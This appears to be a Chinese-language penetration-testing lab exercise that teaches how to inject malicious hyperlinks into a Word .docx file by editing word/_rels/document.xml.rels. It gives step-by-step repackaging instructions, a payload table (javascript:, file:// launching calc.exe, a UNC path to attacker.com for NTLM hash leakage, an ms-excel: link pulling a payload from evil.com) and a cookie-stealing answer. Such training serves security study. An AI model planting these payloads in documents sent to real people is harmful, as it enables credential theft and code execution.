◈ 渗透任务 Word 文档超链接注入 任务中
你的身份 「暗影安全公司」渗透测试工程师 目标网站 DocShare 企业文档共享平台 (docs.docshare.example.com) 委托方 DocShare 收到用户报告,打开共享的 Word 文档后点击链接会执行恶意代码 任务目标 修改 .docx 的 document.xml.rels,注入 javascript: 超链接

◈ 教程:OOXML 基础注入

什么是 OOXML?

Office Open XML(OOXML)是 Microsoft Office 使用的文件格式。Word 文档 .docx、Excel .xlsx、PowerPoint .pptx 都是 OOXML 格式。

核心概念:.docx 文件本质上是一个 ZIP 压缩包。将扩展名改为 .zip 后用解压工具打开,可以看到内部由多个 XML 文件组成。修改 XML 内容后重新打包,即可改变文档行为。

.docx 文件结构

report.docx (ZIP archive)
│
├── [Content_Types].xml       ← 内容类型定义
├── _rels/
│   └── .rels                 ← 顶层关系文件
│
└── word/
    ├── document.xml          ← 主要文档内容
    ├── _rels/
    │   └── document.xml.rels ← 文档级关系定义
    ├── styles.xml            ← 样式定义
    ├── fontTable.xml         ← 字体表
    └── theme/
        └── theme1.xml        ← 主题定义

超链接的工作机制

Word 中的超链接由两个文件协作定义:

1. word/document.xml(链接文本)
<w:hyperlink r:id="rId1" w:history="1">
  <w:r>
    <w:rPr>
      <w:rStyle w:val="Hyperlink"/>
    </w:rPr>
    <w:t>点击这里访问网站</w:t>
  </w:r>
</w:hyperlink>

r:id="rId1" 指向关系文件中定义的链接目标。

2. word/_rels/document.xml.rels(链接目标)
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship
      Id="rId1"
      Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink"
      Target="https://www.example.com"
      TargetMode="External" />
</Relationships>
攻击思路:Target 属性从 https://www.example.com 修改为 javascript:alert(1),当用户在 Word 中点击该链接时,如果 Word 使用浏览器组件打开链接,就会执行 JavaScript。

修改步骤

  1. .docx 文件扩展名改为 .zip
  2. 解压 ZIP 文件
  3. 用文本编辑器打开 word/_rels/document.xml.rels
  4. 找到 Relationship 元素中的 Target 属性
  5. 将 URL 替换为 javascript:恶意代码
  6. 保存文件
  7. 重新打包为 ZIP,改回 .docx

其他可注入的协议

协议 示例 效果
javascript: javascript:alert(1) 执行 JS(OLE 场景)
file:// file:///C:/Windows/System32/calc.exe 访问本地文件/执行程序
\\\\server \\\\attacker.com\\share NTLM Hash 泄露
ms-excel: ms-excel:ofe|u|https://evil.com/payload.xlsx 强制打开远程文档

◈ 练习:OOXML 超链接注入

目标:下方展示了一个 .docx 文件中的超链接关系定义(word/_rels/document.xml.rels)。 修改 Target 属性,将正常 URL 替换为 javascript: 协议的恶意链接。
原始 document.xml.rels:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship
      Id="rId1"
      Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink"
      Target="https://www.example.com"
      TargetMode="External" />
</Relationships>
重置
◈ 查看漏洞源码 (XML)
<!-- word/_rels/document.xml.rels 原始内容 --> &lt;?xml version="1.0" encoding="UTF-8" standalone="yes"?&gt; &lt;Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"&gt; &lt;Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="https://www.example.com" TargetMode="External" /&gt; &lt;/Relationships&gt; <!-- 攻击者修改后 --> &lt;?xml version="1.0" encoding="UTF-8" standalone="yes"?&gt; &lt;Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"&gt; &lt;Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="javascript:alert(document.cookie)" TargetMode="External" /&gt; &lt;/Relationships&gt;
◈ 过滤状态:
  • Target 属性协议校验 — Office 不校验
  • javascript: 协议检测 — 未检测
  • XML 内容验证 — 仅格式验证
  • 文件完整性校验 — 签名校验可被绕过